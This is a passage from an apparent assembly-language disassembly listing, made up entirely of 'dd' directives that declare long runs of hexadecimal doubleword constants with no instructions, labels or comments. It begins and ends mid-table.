		dd 0E290820h, 8AE58149h, 0A2229584h, 0E545880Dh, 4A8E7CFDh
		dd 7FECE922h, 7F64272Fh, 0C536AA6Eh, 5250D31Bh,	15B5044Dh
		dd 764EF85h, 6BD7DE24h,	2FAFBC3Dh, 0E9299914h, 5131E61Ah
		dd 3D7B728Eh, 0F8E6BECh, 40161B48h, 2121CA04h, 0FDC08B68h
		dd 61C5D171h, 890E5801h, 0DCFE9CB0h, 0A760C4D1h, 7E7056E4h
		dd 5897D750h, 9C397A6Bh, 0BF9C95D0h, 0C0C46642h, 654444FBh
		dd 2F79D621h, 85584B98h, 44FBC008h, 30C46254h, 9788FDC0h
		dd 0FBFC8E5Bh, 12C22284h, 89A571BFh, 0C8D6751Dh, 5359427Ah
		dd 0A1759E31h, 0CF17E68h, 7187580Ch, 44211E19h,	34749FC2h
		dd 9584F09Dh, 5E53CDB4h, 64EC1071h, 1078E784h, 3D649A6Eh
		dd 5AA90870h, 8511D4D8h, 0B4A42F91h, 9888BC03h,	403F8575h
		dd 65529953h, 0A6906DBEh, 5D0B8120h, 0D0131108h, 8775EF32h
		dd 249952Eh, 202AAF2h, 867E286Ah, 69CD6E25h, 0B1D1749Dh
		dd 0C4DA72ADh, 0D4DA5D08h, 0DD30B0DEh, 74DE0284h, 7873E82Dh
		dd 0C11E907Ah, 699908E6h, 5F0C0315h, 0D3559085h, 0E0059EF9h
		dd 7116EB5Eh, 2E6B6DD9h, 1935BD2Dh, 0C8C06F20h,	18B248CCh
		dd 1A7F7EE4h, 0E57C6722h, 0B506EB50h, 49DCB9A9h, 69E8EA70h
		dd 5F94102h, 3219E8F1h,	6A852521h, 7DDADDA8h, 7754E19Fh
		dd 0F8E1647Bh, 0AF020EDh, 5CEB02F5h, 0B08C6220h, 81FCE11h
		dd 0E43CEB10h, 14AE3284h, 0EEED257Bh, 0F05911D4h, 5EE8EFFBh
		dd 7768F538h, 8AF44384h, 0E019E3F6h, 0F8049C0Ch, 0FA3754EBh
		dd 20F809CCh, 62ECB0A0h, 6A54EA4h, 8DA63116h, 38206A48h
		dd 8147A16Bh, 0B2777C39h, 800CCCDCh, 0D284381Eh, 82AED836h
		dd 81F80CEBh, 3342A3D4h, 0B39643BDh, 0A52E5175h, 45B08225h
		dd 9300F688h, 60AD9873h, 453D528Eh, 0CFC2DE23h,	11AE7380h
		dd 3D2E91BCh, 0E0CA4B3Ch, 3AFDBAC4h, 0C4FDC411h, 0C021649Ch
		dd 0E6110BFBh, 6C2B9376h, 6C57ADC4h, 0C40E42D8h, 2E3D7133h
		dd 0B24AE93Eh, 0EC984BE1h, 88FD42C4h, 6591C844h, 5B8C8C4Ch
		dd 0ECCD754Bh, 1CF2910Ah, 8447433Ch, 69B970A2h,	2EA6F1B4h
		dd 0B2B09DD4h, 0F8F79AF8h, 9418507Eh, 0E9D10957h, 89DE3C8Dh
		dd 1384F525h, 0EC3B66F7h, 28A1B0Bh, 2A695A88h, 8B238008h
		dd 97E681CEh, 0F99014DCh, 0EF5E7E7Bh, 0B92FF8E1h, 9F5D2715h
		dd 737D6254h, 264F3F17h, 53D0891Fh, 72FC343Fh, 2569A1C6h
		dd 0C629C481h, 78216BCEh, 744A0865h, 560F885Dh,	8C0D3AD8h
		dd 0E86F9821h, 0C9336FB8h, 4B353E69h, 0BADF17BBh, 65D65C49h
		dd 978B251Bh, 7C54BA55h, 1F8E335Dh, 0BF59FB06h,	810C0578h
		dd 337009E7h, 41BB25E8h, 0D8C602DCh, 0B970F838h, 0A0BE84DDh
		dd 0D2A4BD05h, 8515ACDAh, 0BD58CBA0h, 0FF0DC235h, 7512C8A2h
		dd 0EDD2FB59h, 0D29824ECh, 3F937CFAh, 0BE1124EDh, 8C91ECE2h
		dd 1850D699h, 45B6140Fh, 9D21059Eh, 0F3EF9C12h,	58BF4A4Ch
		dd 732F8629h, 0EB181484h, 0C8C21613h, 43224CE7h, 13398879h
		dd 0F471632Eh, 76A8AB20h, 0C563C24h, 0AC1BDED8h, 8BE51E10h
		dd 0E8AE1FE1h, 0DC87353h, 47CD9CB0h, 898564B8h,	0B2B27083h
		dd 3A31405Dh, 0B508E4B4h, 0C2B657A4h, 1BE8BC36h, 0E5C02A91h
		dd 0C2094812h, 3C8B09F2h, 121C410h, 0CC86C898h,	0E8256966h
		dd 0F00CB985h, 186DCE9Eh, 28992047h, 998A11C2h,	8C0CBC0Eh
		dd 0B965D67Ah, 787DD019h, 99AD2A9h, 0C0771DD4h,	5857E800h
		dd 0B6CDF7FDh, 5F066243h, 5E642A96h, 89350BB8h,	0CA18855h
		dd 8C68BC03h, 4AC97E05h, 5CC88858h, 5DF1C689h, 0EB060D93h
		dd 5EE65977h, 0AC1AB31Dh, 4C0449Fh, 74227C99h, 0B3985724h
		dd 311AA88h, 65986851h,	0BCE0229Dh, 0D2F5D915h,	882EB42Dh
		dd 7958AF5Ch, 0A5ADD99Fh, 0FCFC18E4h, 0E420E927h, 0D5F8589Ah
		dd 84E2BAA4h, 58A614C8h, 1B9B844h, 3E54572Ch, 4C6F225h
		dd 240235C8h, 842434D4h, 41012E9h, 0B982C7E0h, 0EA48D214h
		dd 2146237h, 4204561Ah,	601065ACh, 57C5BF71h, 0B10A7A89h
		dd 1C6CD8C0h, 0FD4FD749h, 4854A3B4h, 235BC275h,	0F7C45719h
		dd 75F483D1h, 0AC86351Ah, 67EB82E9h, 470C5484h,	66FE3359h
		dd 166BC9E9h, 0F2EC4D8Dh, 0B0E1924Bh, 0E71C347Fh, 0AC0E238Bh
		dd 0EB733188h, 7BA16E1Bh, 20E23038h, 14081DB1h,	4DB86126h
		dd 0B292C2B0h, 0D6572733h, 3545CBCBh, 0DC274021h, 0B6652D00h
		dd 0B3E2E016h, 0A21C1841h, 296642DCh, 3909466Ah, 741112BDh
		dd 261D213Eh, 621012D6h, 0DB7F8C20h, 522E09CEh,	8B750A1Ah
		dd 6BF65BFFh, 0C857C22h, 13E4258Fh, 9589BB6Fh, 89937430h
		dd 5446EBEh, 268C05EBh,	803D5839h, 0F06452C8h, 457CC44h
		dd 53746CFCh, 53803811h, 0D4217CB2h, 22D2443Dh,	96D011D1h
		dd 7977AC4Fh, 92646FE4h, 76CEAC33h, 775CD21h, 0F505C656h
		dd 0A076BCE9h, 0DACAA366h, 0F448491Bh, 17CBCC05h, 6C657A01h
		dd 0D04E13CEh, 0E918089h, 2B1132D1h, 3B732BD2h,	1EE1D41Eh
		dd 3CD814E0h, 8CFDFC4Eh, 88E24350h, 6E4F31E8h, 101523EFh
		dd 3C6F90D1h, 980EF292h, 0D010E828h, 7E46B843h,	0E877DE22h
		dd 0BDA22AAEh, 15C357DCh, 9CDD4BDCh, 0A3880455h, 3C2AA1E0h
		dd 0FB0AF708h, 0EE46852h
		dd 3B6BDC09h, 40FDCC20h, 0D2E75628h, 0D31EB369h, 3594C9BAh
		dd 94FC6221h, 14D8F293h, 0FD6D8022h, 29578602h,	4BFB5176h
		dd 21211FF4h, 10F66989h, 0DD59E8A7h, 0D27E344Fh, 2C72C642h
		dd 0EE58F175h, 0FF561AC2h, 682D494Dh, 73232B71h, 0E36E3D84h
		dd 0AA2D48AFh, 2F0DFB78h, 95648BA6h, 400CF756h,	6540EC52h
		dd 0CFAC4EEBh, 0B5E8B0C5h, 73C8966Ch, 0E98A7F2h, 1C97FDF0h
		dd 0DB474F2Ah, 67C81080h, 2E6D8A84h, 0B1314FCEh, 0D818067Ah
		dd 25E46842h, 4213AA9Ah, 2FD78DEBh, 3EE639AEh, 5DE91222h
		dd 0E5FF14CAh, 0AD62723h, 274C5C6Bh, 0F1BF4CC6h, 4BDF49D9h
		dd 0C37A46D5h, 0E230FC5Fh, 4C53556Ah, 4B39FE2Fh, 0BD5090FFh
		dd 8E7BF7F0h, 83050F92h, 58EBC7C8h, 705BCF57h, 8B043A48h
		dd 0AA4D4A7Bh, 1B6C4771h, 1A93110Ch, 195B22B2h,	0A00B3B74h
		dd 162B5608h, 0CA2AB804h, 70E96FCh, 0B2FF1210h,	0E08B4409h
		dd 945198ABh, 7F5D7144h, 0FD2F29F1h, 5F0CC94Eh,	5841A7CCh
		dd 0B3BE842Fh, 14EC88A6h, 0D159EB08h, 0A356D0D7h, 4C5DEE58h
		dd 0A6FFD2CDh, 6145501Ch, 13C86C4Ah, 0D619486Ah, 0ECFF4170h
		dd 0D7A69D89h, 12844D34h, 0FCF4EF37h, 2164C749h, 5E2F2099h
		dd 591564B3h, 16127C14h, 54804510h, 43880717h, 508C1035h
		dd 315190C4h, 980C5894h, 9C106E43h, 77A0C471h, 0C87A431h
		dd 108943A8h, 0B0C48BACh, 0BBB4308Fh, 0B8218401h, 10BC9CBDh
		dd 99C08204h, 0DCC41005h, 0B8C81086h, 0EACC8206h, 3DD0100Ch
		dd 0D4080D42h, 0D8411388h, 0DC081A0Bh, 81F4021h, 0F38B90E0h
		dd 1528E3ABh, 6003E418h, 0A277E825h, 6AFC5D21h,	10585CDAh
		dd 0C4E5DF64h, 8D63A882h, 0F20552BCh, 84AA663Dh, 922EB308h
		dd 0AD35FA53h, 2ED089EEh, 58E4CD72h, 0F1517750h, 4854045h
		dd 7E4282EBh, 0C1496976h, 0CB62F83Fh, 0CF5D39C7h, 0D318BB73h
		dd 248907D4h, 465E0D84h, 45AC283h, 797034B0h, 5CBF247Ch
		dd 205DAF93h, 85E85741h, 0A51E946Ah, 0DDF40124h, 0FD9D055Ch
		dd 0E3A19FC0h, 8BFB770Ch, 0A5BD2C73h, 0C8FC15EAh, 0BB41F42Ch
		dd 6824E69h, 417C6A46h,	32CC1A64h, 34E82F53h, 9EC93F50h
		dd 7A657450h, 0F62189CBh, 7C1C09F8h, 2D4343E2h,	0E8F3A0E4h
		dd 52671732h, 0C63482BEh, 45108205h, 0CAF0E656h, 999B011Ah
		dd 0ACF90E06h, 0E6132D29h, 2D949185h, 11784F36h, 42FCA366h
		dd 7880240Eh, 46CB5737h, 0FA32C8C2h, 0FE90E1AFh, 8D750F94h
		dd 2E508A77h, 2837A621h, 0C1081605h, 1C5DFEE0h,	9E37EA5h
		dd 0CF45E7C8h, 45EE0408h, 9FBEA808h, 881BE17Bh,	0B0DA191Dh
		dd 0CC53565Fh, 0E81D1AA8h, 8B896263h, 0C11E14F8h, 867690E7h
		dd 0A503103Fh, 7B3C6657h, 0A045C5A3h, 7D480118h, 700F2408h
		dd 14286A60h, 66650EA2h, 8C1FF0AEh, 2893533Dh, 0A337071Eh
		dd 3DC20D0Eh, 3866A434h, 393EE350h, 0C5CF7D41h,	25083AA3h
		dd 914149A1h, 20F9920h,	3A52245Dh, 95821222h, 2F4605EBh
		dd 75143962h, 0E88E812Fh, 692336CBh, 120C4AD9h,	0D2D193A1h
		dd 195DA430h, 0C383024Ah, 5E421FEBh, 0E8100411h, 9F9E3695h
		dd 0BFA4A329h, 6E5705A4h, 598510CAh, 0BE59F06Ah, 3CBF53A0h
		dd 252C4ACh, 801C2207h,	48A5F3E3h, 9A42B3BEh, 25480B96h
		dd 0C1D5F342h, 0AD4D30E3h, 13E82900h, 0B48E995Ch, 14305E1Ch
		dd 0BF96D068h, 35FF3581h, 624F0C76h, 317881C0h,	0F255F92h
		dd 0ACE2FD8Ch, 75A4AC53h, 76E1F7F2h, 7DA82E10h,	16FDC2C4h
		dd 92B88009h, 0A7E679BBh, 0BEE6195Dh, 3613FB2Eh, 0FF0052AFh
		dd 571EFDD2h, 9A25F972h, 6084CC6Fh, 0F703CF0Fh,	7030FE81h
		dd 0DF7C48E3h, 2424BEBh, 0F66953E0h, 0BC092D8Bh, 149E4785h
		dd 8C104B3Bh, 176C7E64h, 88E11673h, 3FC79F68h, 0D8E4868Dh
		dd 3852E5EAh, 0CE296840h, 1F032412h, 5A42949Ch,	136724F6h
		dd 81DFAA80h, 6ED50469h, 491E2181h, 30D7F042h, 46188D36h
		dd 68545018h, 9D37B0FCh, 0ECEDAD4h, 13C1102h, 7B5C9D70h
		dd 48DC215Ch, 0B8382C10h, 27BF4246h, 0C2385DB6h, 564A5310h
		dd 0F35B5CA2h, 5CBB0598h, 33EF4D32h, 0F2D2BE8Fh, 0AD3B18C9h
		dd 6E0557E0h, 81121783h, 0C640ECEh, 3BDF052Bh, 0EAE37DDEh
		dd 24CA712Ah, 1E5792C8h, 36671442h, 5216282Fh, 22D14E82h
		dd 83D67A3Ah, 5298CCAAh, 0F3156F51h, 0FF651214h, 0B858D9F3h
		dd 0F0338348h, 5082888h, 9B3D5222h, 39F27C01h, 6010244Ch
		dd 23B75195h, 655C6848h, 21413C1h, 47F4E804h, 486837A3h
		dd 21652B7Dh, 6D225989h, 53C2561Ch, 29E432ACh, 1402977h
		dd 55395F1Ch, 0F8284D28h, 0B8897A5Dh, 0F4B85EA9h, 1E247512h
		dd 0E8104252h, 8C68ECC3h, 0BA0F974Bh, 9529F1E4h, 0AE80135Fh
		dd 16096C95h, 0A0EBF917h, 64842FAEh, 0FCC1EDF4h, 0D17B0374h
		dd 260865BEh, 3BE7663Bh, 527D241Eh, 623C45B3h, 22DF1936h
		dd 9A137568h, 541A823Ch, 2B5C6E2Dh, 9576571Ah, 23887256h
		dd 8492DACFh, 0BB5480BCh, 0A62F0253h, 68FF9075h, 139DA470h
		dd 0D06512E8h, 75395978h, 0A4E0F04Bh, 951BA456h, 4F4848F6h
		dd 0D8094B23h, 0FC77EC46h, 35584FCh, 61C1DF6Ah,	512E7E60h
		dd 0B7CCEC4Eh, 64A86863h, 0FF203CC9h, 0FE3BE521h, 0FD4A03Ah
		dd 590B842Fh, 91B42C96h, 0A79793Ch, 0C19F4AAh, 30F4120Ch
		dd 840F883h, 10770AF0h,	6529186Ah, 0EB65A4BBh, 0DB330219h
		dd 3B118021h, 90A23BC6h, 4A01A310h, 1A560B0Ch, 98919580h
		dd 4AED7284h, 4BE84894h, 0F37E0851h, 30F05E69h,	64AA9C57h
		dd 49A55228h, 75896A86h, 9040068Ch, 70988194h, 6CB9CCFh
		dd 57D928A0h, 5705E464h, 59DCFA01h, 0F8B55B04h,	145C4F9h
		dd 3CCE8816h, 441C13D6h, 6C1CCC16h, 0DFD75752h,	0A5EAFA3Dh
		dd 31FE7C2Ah, 0A41B8440h, 740BDE43h, 0E066D514h, 311E5352h
		dd 0D88B9158h, 0BDF07DC8h, 0F3B63D0h, 8F4B3AFh,	56C3F8F9h
		dd 3EF39C1h, 8902E089h,	809C515Dh, 3638548Dh, 3DE7C083h
		dd 0CEDA2AB9h, 2B2F3FABh, 7D257D40h, 0B0D834B0h, 4D4C42E1h
		dd 11C24A6Ah, 4CD47E75h, 0D3A4A820h, 0AC654DFCh, 36F5B437h
		dd 2E92B6D9h, 0CF23EAB8h, 0C40628C0h, 0C5C85AD7h, 10CEFE47h
		dd 6074080Bh, 51560C40h, 6AD00AC3h, 5750B20Eh, 0C69DD5C6h
		dd 51929504h, 223FC5FFh, 181852C1h, 0E645C643h,	18451C0Ah
		dd 0BAE8FC12h, 0C1FB5712h, 36265DADh, 902F18E4h, 22034CB5h
		dd 0F6A1B4F0h, 0C60A4C57h, 0B12EB29h, 5EAF1EA3h, 4BC15A82h
		dd 9FC66834h, 4D9DB8E0h, 177CAB60h, 27A06878h, 91B1938h
		dd 4D66B0E2h, 90B58421h, 0DEEC5FFBh, 0B6E9A462h, 2EB281F4h
		dd 9C1855D4h, 0B6BA5312h, 40A6815h, 0B6901014h,	0C00C3449h
		dd 0DE55C33Bh, 0CB81E923h, 2C6ACFE8h, 2C0E6829h, 0E05D3940h
		dd 22D75774h, 352CBF18h, 0FCD11174h, 21FC29ECh,	97955825h
		dd 0D75D5061h, 28E8C908h, 0DBF92F5Eh, 0A374F805h, 0AF181008h
		dd 684BD2DEh, 68E95B53h, 0C8E5DA14h, 0BC10656Fh, 4C0C8ACFh
		dd 905EE452h, 1BE8193Dh, 6A4D716Ch, 0B3B1FF4h, 0B9057FCBh
		dd 8DBFB4DAh, 188AB487h, 4144E0B8h, 0CD044E89h,	74A26846h
		dd 82100E28h, 6145E37h,	35201078h, 0FBA02524h, 0C828FE88h
		dd 2A102906h, 64BB2B29h, 560E212Dh, 8E43715Bh, 3D3454D5h
		dd 251D2F49h, 687EA212h, 211F9F19h, 0E8F878CAh,	6958F62Fh
		dd 0D9CF0BFh, 0C4696B59h, 0E4342B0Bh, 0CBFF8513h, 66F55AD0h
		dd 32A5FC4Fh, 641DFCF9h
		dd 54E26DC9h, 54FCCA52h, 0D4748410h, 0F313B6B7h, 951E2C52h
		dd 5C2FA1F9h, 238CFC1Ch, 0D56F5C1Fh, 0B2AFE597h, 944C4318h
		dd 8FCC8F9h, 14446A22h,	8E1A028h, 41038918h, 265758FCh
		dd 6C42B9F5h, 2D6A8456h, 0C8ED2639h, 6860049Ch,	0C4AC3941h
		dd 8D0635F5h, 74CCE524h, 13BE015Ah, 0F905D442h,	46A8DA4h
		dd 293E1F20h, 10715B40h, 14292E33h, 240E711Bh, 8FA73E45h
		dd 0ACA3166Ah, 26E825ECh, 474556B1h, 46116EABh,	0DA0B8846h
		dd 0F4423F45h, 3A012903h, 35BC1D39h, 0F9BD0726h, 417F4D4Ah
		dd 57110128h, 0BE1441B8h, 0BF0B84C8h, 0EC127AC0h, 17198E34h
		dd 0E43067B4h, 0C604B576h, 0C8FB52A4h, 15991085h, 0BF2CD836h
		dd 0B5347718h, 62477997h, 9742068Bh, 8CCCC6D5h,	367CBD28h
		dd 359D749h, 0FCACCE92h, 0CC101143h, 59F984C9h,	6A9A80BCh
		dd 70211ECBh, 900CBDDFh, 6C34646Ah, 0C346042h, 12B5AEB3h
		dd 3304DA9Bh, 5E062E13h, 0E42FC899h, 0D318EB0Fh, 0E8333D6Ah
		dd 156453A1h, 68491E30h, 0AF9C7ABCh, 0B44D191h,	8AC6F653h
		dd 82F1257h, 0FD909742h, 57FC6C63h, 5D3F4813h, 0B2364EFh
		dd 0CA475313h, 213F1208h, 404A3116h, 0B9892FF6h, 0E498DFBDh
		dd 3CEBD154h, 4AA1DAA5h, 55CF542h, 28113453h, 3E43CB47h
		dd 22F5F984h, 5FFC7528h, 718C650h, 8DF45E39h, 39043946h
		dd 7F25F191h, 0EFD703B3h, 9AEFC365h, 5F74129Fh,	9331DCFAh
		dd 63DE5946h, 0CCFEE135h, 0F1BD7415h, 897DAFE3h, 17ECF572h
		dd 79227427h, 0B1FD49E7h, 96195701h, 5DFD0B51h,	2738292h
		dd 866FFB77h, 0C811B4B8h, 0CABAE83Eh, 6D8828B2h, 32FE4C62h
		dd 0EC1CBC50h, 5A7CB089h, 222FFD89h, 0B5C42BFh,	0DD59D889h
		dd 758B820Eh, 0EE4CD740h, 483C6880h, 0DB85887Bh, 288CBB5Bh
		dd 34F8627Dh, 1B92571Bh, 4E970F70h, 0A69EA0A1h,	0A44EBF3Dh
		dd 0D114EE42h, 0F02E20F4h, 0BF57173Dh, 0D7FCD63Dh, 3F6D8843h
		dd 0DDF88388h, 0C90A3C9h, 115577C8h, 246DE242h,	0B98AFE59h
		dd 56C3D862h, 970696FDh, 0A0D3FAEEh, 565DB4ABh,	0E3A834A4h
		dd 0CEBF581Ch, 0F8EE4FA9h, 0AEEF4D0h, 0EB8D3817h, 24E3985Fh
		dd 69308261h, 0C59B3CA8h, 5814748Ah, 0E80A01CFh, 0B93A5580h
		dd 0A375142Bh, 98D8C938h, 825AB2B1h, 0C31FC212h, 0D83C7F88h
		dd 388FF3AAh, 0F4B34E42h, 9F0A04C4h, 830423BDh,	895BF633h
		dd 5DF9625Eh, 0B0983F77h, 96E9ED4Eh, 0E81D6CFFh, 0BE0A7524h
		dd 0E9137C10h, 0E361EFB9h, 1C0156D0h, 957E0A57h, 5A4B6659h
		dd 263DD2E8h, 0D44B8851h, 74CC52FDh, 4584187Ch,	0E43C9B7Bh
		dd 98EF9C62h, 4ED6D038h, 0B24014A3h, 4FE6BFD2h,	856BE9B5h
		dd 0BE11536Fh, 51093E91h, 0AF8AD04h, 140D848Ah,	76653C1Dh
		dd 0EE5F1671h, 0FC0D7E70h, 198184F9h, 4D5C9041h, 0F85BDB3Bh
		dd 0CD76C22Bh, 0BCE55F53h, 778CF634h, 0AD05BCE9h, 53452356h
		dd 8FBA3225h, 85BD4FB5h, 23C4549Bh, 355884D6h, 5F837108h
		dd 0FC64232Eh, 2EB51E24h, 4C12BF4Ah, 0BFB4C5ACh, 0AFEA9367h
		dd 0B9040EECh, 7BE004C6h, 0CAF74943h, 0BC1213D4h, 4398A6AEh
		dd 3AC81243h, 0FC4114B2h, 1A8376E6h, 68D0D93Ch,	859506Eh
		dd 0A43F4FFBh, 67133797h, 0F2F30F9Dh, 207FC20Eh, 8B449256h
		dd 0D10D5826h, 7C884CC3h, 1924E989h, 3807EC55h,	8FFBB8E5h
		dd 41FF4B51h, 6818755Dh, 916FA3A4h, 59459E20h, 57E9AAD3h
		dd 0EC262BD4h, 0D3FE39E4h, 2138A2BFh, 0AF8D5ABFh, 3B1D2368h
		dd 0F90312C7h, 6A6C6F98h, 0E8419BF5h, 1B55552Ch, 0D8F7F344h
		dd 0C4BD2CC5h, 1732AE96h, 7FF519E0h, 306B93E6h,	8C1B1657h
		dd 88B55114h, 6151A76Fh, 19956ABh, 1E48F0D5h, 161CA657h
		dd 64F45511h, 8C30A040h, 0D08BAC44h, 0A1220B4Eh, 33EC296Fh
		dd 8B2638E2h, 455E228Ah, 92437868h, 828E804h, 0FFD30BE8h
		dd 17C01549h, 0C9781090h, 14AB9967h, 92B0E743h,	0AA984E20h
		dd 2C9ABE4Ch, 0EA51392Eh, 0CF0E626h, 4DFE3B26h,	29FF0716h
		dd 36C31945h, 0E8A80561h, 24CE529Fh, 60BE3677h,	599DA7D1h
		dd 435348F8h, 1B7638DBh, 9AF00F25h, 42413631h, 0ACF34F5Eh
		dd 63E0F69Ah, 918F5957h, 44FAD740h, 0A7F85DD1h,	0FD3C1265h
		dd 5CC37CEAh, 32D1F5ACh, 61FAD607h, 0C2566B73h,	51C6FC55h
		dd 2F242A53h, 345FD0FCh, 501CE22h, 0DC680775h, 46EBA390h
		dd 215E9350h, 28D89B43h, 52648712h, 908D2DFAh, 0F092AC50h
		dd 6CB7E0A1h, 56E82C3Bh, 4B86AE88h, 6BA40754h, 427C8C08h
		dd 0EE10FB3Ch, 0FC458655h, 3C133E77h, 8445BCEBh, 3EA652DEh
		dd 71D72169h, 4455EB9Bh, 649A4550h, 364D747Bh, 4B24423Eh
		dd 0CC84BEACh, 7DD71D6Fh, 245B09FCh, 0F962AF4Bh, 7732FFF4h
		dd 0AC6655Fh, 0C28098EBh, 0FE466068h, 53856954h, 46DF12A4h
		dd 584EF6AFh, 3888FE40h, 0AE148237h, 6423664Ah,	4D0DC1FCh
		dd 0FF2B343Bh, 0E4044B8Bh, 5050B0E8h, 0C1E94A83h, 0A21BED6h
		dd 5D0D05ACh, 44844E08h, 26847C7Bh, 0C27954EEh,	8308EC5Dh
		dd 9B36ECD6h, 886A379h,	6232EDE0h, 9A885DFCh, 4C81438Ch
		dd 81EC963h, 8F6CF576h,	0F9978421h, 0EB10E463h,	0B91727CAh
		dd 2769A6AAh, 0E2AFF434h, 58E0F633h, 0AF9DA4B8h, 77EB16E6h
		dd 0E4354287h, 153B7752h, 0BB8C4B38h, 44180E8h,	2452394h
		dd 49982551h, 0D86A522h, 73E01446h, 0F496195Dh,	41C5FA96h
		dd 0E3227EA8h, 0C5751A0Bh, 0AE3435F1h, 0FD38B071h, 11EF340Ch
		dd 0F01C35D2h, 0FD14FA42h, 0B83C25ECh, 8E4F5B13h, 0EC3327D4h
		dd 2EBB703Dh, 452507D0h, 4FEC8253h, 0E41C9177h,	2566243Eh
		dd 0A488933Ch, 8A38F99Dh, 0FF528908h, 0E840F56Ch, 1CFAA40h
		dd 1174CC8Ah, 6D182D25h, 8D036ECFh, 0A1DC5E39h,	8459F78h
		dd 0AC6634EEh, 73FB80B0h, 3CC38B22h, 9E6BC72Bh,	54F4085Fh
		dd 0E416F9EEh, 7A8AC7FDh, 0BD6D5DB7h, 0AE087D9Bh, 3B0574B8h
		dd 4A77F0F1h, 0BC0F837Dh, 0ABC78B01h, 0B54AF012h, 57A69CFBh
		dd 0EB290C2Ah, 58C41210h, 0EAE48A5Bh, 0DFC4E2A3h, 52102252h
		dd 27872D6Fh, 0B24F5876h, 748627ADh, 44EAB749h,	8022FF68h
		dd 0C401DFCBh, 232C6857h, 6BAA3561h, 793B596Bh,	0E94AFB7Ch
		dd 0CDEBA716h, 83623F52h, 0EB223AFCh, 0FCFCF1F7h, 0FE41C742h
		dd 0E93FAE3Bh, 4A7B4503h, 0C8833C40h, 0F2AE6A98h, 0AA6386C6h
		dd 450AA30Eh, 92F8A25h,	6214EC02h, 238A0453h, 33EFD020h
		dd 991D1187h, 5730ECB8h, 49024137h, 0E8149332h,	84A764FAh
		dd 54A5BED6h, 0B407DEDh, 38B00DDCh, 80564276h, 241CDD0Ch
		dd 36D05035h, 981B9048h, 50CC682Bh, 4AA17F7Dh, 923AFD51h
		dd 68116A7Ah, 0EA93B133h, 0C07D1F8Bh, 0AE7BA4F7h, 0AE05BCF4h
		dd 0B70C90EBh, 46BF9A74h, 8E40A76Ch, 15E14F8Ah,	2A2277B0h
		dd 0F9E26F87h, 21F69C32h, 2402EA27h, 0BD0145E9h, 336C44E8h
		dd 0C42B9CB9h, 0AB6C3280h, 0B92BE941h, 4D838411h, 0EB44161Fh
		dd 575F2F31h, 4D72238Ah, 0BD898A51h, 0EB493412h, 0B6134BC6h
		dd 21FAC43h, 20B58966h,	0A0BBD9FDh, 274EF1Eh, 11278528h
		dd 227F1C90h, 5E66C98h,	0DD127525h, 0E95F4A66h,	77562082h
		dd 0B8C3D6D4h, 384AD4FEh, 0CEB89BCh, 0A1F3FE94h, 0E9429C1Dh
		dd 7822E54Fh, 9C8D31B0h, 5958A0DBh, 9A68CBD3h, 2F2CC0F2h
		dd 9A53974Bh, 0D6C93362h, 7E080190h, 6E158A10h,	300336FCh
		dd 3B410114h, 0F07C2109h, 996ED5C3h, 1489A95Fh,	7EC850A7h
		dd 8B72C195h, 384F1995h
		dd 0F270126Fh, 0BF320933h, 0BD2ED268h, 4C523D82h, 7A5D8B02h
		dd 0F68D4CDAh, 0AF5F226Bh, 7E045702h, 0D106B2Ch, 0AB3004C5h
		dd 69247886h, 4080A3AAh, 5589C20Bh, 16740C16h, 0EBFE93F1h
		dd 9959A831h, 85F918F7h, 6C670D2h, 0EB462C05h, 65854EC2h
		dd 3BBB00AEh, 8A0872F1h, 3F880E3Ah, 1CEBBD40h, 8B0B2080h
		dd 0A86555C7h, 1F939490h, 48340F0Bh, 8792BEEh, 18069021h
		dd 6160F20h, 654EFCB8h,	6F8CAC3h, 0E8C8F090h, 0D832E064h
		dd 0C09D019h, 629518C8h, 0AAABF723h, 0F099F556h, 0F802F406h
		dd 24A1FC01h, 11FB322Eh, 0FCF08684h, 9F833ADh, 14ADC4E8h
		dd 89C6D02Dh, 0E3590628h, 16BAE84Bh, 84FEE210h,	47260198h
		dd 0AB9A8D69h, 9CBE5A64h, 767D9F79h, 6CDE4E59h,	7EC4231Ah
		dd 95E649C0h, 0F41EF064h, 0D41B9D32h, 8E64FC08h, 69575349h
		dd 10B26ACCh, 0E5D6EC9Ch, 4B3049BDh, 0FE852706h, 8BF14A9h
		dd 5B76BA7Fh, 6871C9BEh, 0FE681054h, 1B77C8CBh,	62674F34h
		dd 339337CFh, 161F279Ch, 53649BE6h, 80FC3C9Fh, 0E46E8F8h
		dd 68672921h, 60766498h, 7032EB5Bh, 6AE5D1BEh, 0A4D64C4h
		dd 0F94E4F59h, 6818551Fh, 844618FDh, 6A2324F3h,	0B52C6065h
		dd 0B7243315h, 0BE130504h, 3714C008h, 197F0B66h, 49B4C09Bh
		dd 70A3F25Ah, 0D07DFD43h, 23660A72h, 85B73980h,	81266850h
		dd 0D258C532h, 2BDCAE54h, 0FC537124h, 5F25A2F5h, 6E9E0608h
		dd 0B12AE813h, 2BC24DBCh, 2C330C7Fh, 3885BB80h,	7B07A376h
		dd 0BF6DC892h, 212A10C4h, 10209686h, 0E39216C9h, 2E5E846Dh
		dd 21FB0427h, 1808E58Ch, 5E55BA97h, 90CEA0F3h, 9CD79DC4h
		dd 91CCB7C2h, 6151EBFCh, 0A8E0A4E6h, 4B59C08h, 0BB02708Dh
		dd 2A48D582h, 0A9571E0Fh, 1F380F14h, 0BD82F789h, 89AC8868h
		dd 534EF838h, 0F9126998h, 0C910494Ah, 4A3CD8FEh, 5C388043h
		dd 749B0650h, 755908C2h, 0A69C0CCh, 0B474B544h,	0C2E2DC49h
		dd 0B479049Ch, 6472A744h, 981DB15Dh, 0BAEC210Bh, 0B5824220h
		dd 0EB0FC157h, 0C4F51FA5h, 45198431h, 9C88FCE6h, 0DFAB18AAh
		dd 7FAC7D18h, 25644884h, 384C61E1h, 4CACD278h, 6487494Fh
		dd 68502176h, 644286FDh, 0A22D2E10h, 21E20AFEh,	3424A14Dh
		dd 5D27635Dh, 184C0F85h, 8CCD61F4h, 6C28ED9h, 99EF164Bh
		dd 84611AD3h, 0E9772CCDh, 0E3F89418h, 56D99997h, 59220B7Bh
		dd 0A198B6F7h, 0F37B4C1Bh, 4BE175Eh, 0B82498BFh, 0F06885C6h
		dd 62AE92DBh, 3D8BDD92h, 0D98362F7h, 0FEBC8BD9h, 0CBC314D7h
		dd 775CD7D6h, 60F9BB64h, 0F671740Ah, 44109E1Dh,	0C8BD8054h
		dd 75322EFAh, 2CE91212h, 9A44236h, 395E2E79h, 0E92B0D9h
		dd 1917A2B4h, 30C55318h, 1C6ADF17h, 6CF34F14h, 65865D27h
